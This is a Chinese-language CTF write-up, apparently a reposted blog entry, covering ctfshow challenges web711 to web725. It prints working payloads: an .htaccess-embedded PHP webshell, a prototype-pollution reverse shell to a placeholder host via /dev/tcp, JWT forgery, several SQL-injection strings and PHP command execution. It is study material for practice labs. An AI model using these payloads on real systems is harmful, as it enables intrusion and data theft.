CTFSHOW大赛原题篇(web711-web725)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!

web711

扫描目录发现存在robots.txt,提示static/secretkey.txt
访问得到一串字符串ctfshow_love_you
然后进入正常的页面,有个登录和注册,随便注册个用户并且登录后,发现存在文件上传点。
但是上传php后缀的文件不解析,应该不是php写的了。
看下session,应该是一个jwt加密的。那就好说了,伪造一个admin用户,而且加密的秘钥应该就是刚才得到的字符串了。
在这里插入图片描述
修改session后就可以看到一个flag.jpg的图片了,flag就在图片上。
在这里插入图片描述

web712

这题主要考察.htaccess文件的利用
大体步骤是这样的:
删除index.php外的所有文件–》写文件–》删除除index.php外的所有文件
虽然对内容进行了过滤,但是我们是可以通过换行绕过的
比如下面的内容起到的作用是相同的

php_value auto_append_file "/etc/passwd"
php_value auto_append_fil\
e "/etc/passwd"

但是我们没有什么可包含的shell文件,能利用的一个index.php一个自己上传的.htaccess文件。而index.php其实也没啥用
所以目光只能放到.htaccess文件中了。
我们可以将利用的shellcode写入.htaccess文件中,为了不影响该文件的功能,需要用井号注释掉。然后包含自身即

php_value auto_append_fil\
e ".htaccess"
#<?php eval($_POST[1]);?>

但是最后还会给我们再填上一串\nJust one chance,所以再来个\就可以了。

php_value auto_prepend_fil\
e ".htaccess"
#<?php eval($_POST[1]);?>\

url编码一下
payload:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20%22.htaccess%22%0A%23%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E%5C

接着访问/index.php就可以使用一句话木马了。
注意,这个是一次性的,所以不要先get再post,需要直接post传值。
当然还有一些方法可以参考文章

web713

https://xz.aliyun.com/t/6111?page=5
一道密码学题。。。。大家看着来吧

web714

原型链污染
漏洞点是下面这个地方,需要add超过五条
在这里插入图片描述
具体分析原理https://xz.aliyun.com/t/6113以及官方wp
payload

{
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"
            }
        }
    }

请求后访问 / 进行渲染即可反弹。

web715

随便传个名字然后抓包,发现返回了一个新的html页面
在这里插入图片描述
这个地方应该就是战斗时的血量和速度。
我们把这段代码复制下来,本地修改下血量或者速度。然后搭建起来,查看一下payload的值。在计算一下sha256的值,传过去就可以拿到flag了。
在这里插入图片描述
但是测试发现每次的payload都不一样,而且不是每次都成功,所以多试几次就好了。
设置不行就用我这个吧

payload=P071001C071005P077003C034004P025005C044005P044006C077005P050006C053003P051003C005002P012001C022001P049003C082006P046006C061006P079018C094001P086010C019001P041003C051002P038020C030001P012003C035004P045020&checksum=9303ae84e6b098d48a66c8c3c06ec20c12061f6c2486bb8102b684586d3f86be

web716

https://github.com/samueltangz/hkcert-ctf-2020-challenges/tree/5c12ac5b5cb5debe6159957c6b038fe832c9e7d0/conversion-center/writeups/s0083
结合网上搜到的wp和问的群主
得到最终的payload

     curl --request POST \
     --url http://97020164-cc45-4c3c-9e71-c0de83ca2e07.challenge.ctf.show/convert/markdown \
     --header 'Content-Type: multipart/form-data' \
     --form [email protected] \
     -o result.pdf

其中index.html中的内容为

<h1 id=demo>
  CTF is my life :D!
</h1>
<script>
  var loc = window.location.pathname;
  document.getElementById("demo").innerHTML = loc.substring(0, loc.lastIndexOf('/'))
</script>
<iframe src="/gotenberg/flag"></iframe> 

web717

/*"+/*'*/i/+target.exploit//

web718

最终payload

?data={"part1":"2022a","part2":[["1"],"1","1","1","1"],"a2":["show"]}&c[1][]=a&c[0]=1ctfshow&d=%00a

比较麻烦一点是应该是eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
这个函数可以用00截断。
然后这个if(!strcmp($c[1],$d) && $c[1]!==$d)可以用数组绕过。

web719

类似于web10
但是这题给的东西太少了,源码也不知道,还是通过原题大致知道的内容。。。。。
https://www.cnblogs.com/caizhiren/p/7841318.html
而且原题给的是uname和pwd
这题给的是user和pass(完全靠猜)
payload
uname=1'||1 group by pass with rollup limit 1 offset 1#&pwd=

web720

?name[]=2&password[]=1

web721

查看源码有hint

 <!-- CTFSHOW hint: 
      if (($row[pass]) && (!strcasecmp(md5($pass), $row[pass]))) {
              echo "<p>Logged in! ".$flag." </p>";
        }
      -->

需要我们输入的password的md5和数据库中查到的md5相同。直接union select伪造一个md5,然后在传一个对应的字符串就可以了。
比如我们要传password=1,那么union select后面就跟1的md5值。

password=1&username=1' union select 'c4ca4238a0b923820dcc509a6f75849b'%23

web722

 <!-- CTFSHOW hint: 
          foreach ($_GET as $key => $value)
            $$key = $$value;
          foreach ($_POST as $key => $value)
            $$key = $value;
          if ( $_POST["flag"] !== $flag )
            die($fail);
          echo "This is your flag : ". $flag . "\n";
          die($success);
         -->

查看源码有提示,是个变量覆盖。

GET:
?success=flag
POST:
flag=123

这样的话

$scueess=$flag="ctfshow{xxxxx}"
$flag=123
$_POST['flag']=123

最终通过die($success)输出flag

web723

password=||1%23&username=123\
最终构造的语句类似于
select * from user where username='\' and password='||1#'
等价于
select * from user where username='xxx'||1#'

web724

${system(ls)}
value=${system(base64_decode(Y2F0IGYq))}

web725

update注入
举个例子
在这里插入图片描述
所以我们可以构造

table_name=user` set user=1 or updatexml(2,concat(0x7e,(database())),0)%23

最终的payload

table_name=user` set user=1 or updatexml(2,concat(0x7e,(select group_concat(secret) from ctfshow_secret)),0)%23

table_name=user` set user=1 or updatexml(2,concat(0x7e,(select right(group_concat(secret),30) from ctfshow_secret)),0)%23

拼接一下就是完整的flag

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/123070848